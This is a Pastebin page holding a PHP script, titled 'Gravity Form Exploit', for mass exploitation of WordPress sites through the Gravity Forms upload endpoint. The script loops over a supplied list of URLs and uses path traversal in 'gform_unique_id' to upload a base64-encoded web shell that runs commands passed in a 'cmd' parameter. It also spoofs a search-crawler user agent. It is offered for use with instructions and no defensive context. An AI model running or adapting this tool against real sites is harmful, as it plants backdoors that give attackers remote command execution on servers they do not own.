Evoo

Gravity Form Exploit

May 7th, 2016
788
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.99 KB | None | 0 0
  1. <?php
  2. /* Coded by lastc0de
  3.    Thx To Shor7cut & TU5BOLED - Pak Haxor
  4.    How To Use
  5.    ex : C>php this.php listurl.txt
  6.    listurl.txt with http://
  7. */
  8. $getfile=@file_get_contents($argv[1]);
  9. $pecah=explode("\r\n",$getfile);
  10. foreach ($pecah as $links){
  11.   print "[+]Scaning : $links\n";
  12.   pwn($links);
  13. }
  14. function pwn($site){
  15. $data = "PHByZT48P3BocCBpZigkX0dFVFsiY21kIl0pe2VjaG8gc2hlbGxfZXhlYygkX0dFVFsiY21kIl0pO30g
  16. Pz48L3ByZT4=";
  17. $vuln = "/?gf_page=upload";
  18. $urlex=($site).($vuln);
  19. $useragent = "msnbot/1.0 (+http://search.msn.com/msnbot.htm)";
  20. $post  = "".base64_decode($data)."&field_id=kntl&form_id=1&gform_unique_id=../../../../&name=.php.";
  21. $ch = curl_init($urlex);
  22. curl_setopt($ch, CURLOPT_POST, true);
  23. curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  24. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  26. $postResult = curl_exec($ch);
  27. if (eregi("ok",$postResult)){
  28.     print "[+]Uploaded Filename\n";
  29. }else{
  30.     print "[-]Not Vulnerable\n";
  31. }
  32. }
  33. ?>
Advertisement
Add Comment
Please, Sign In to add comment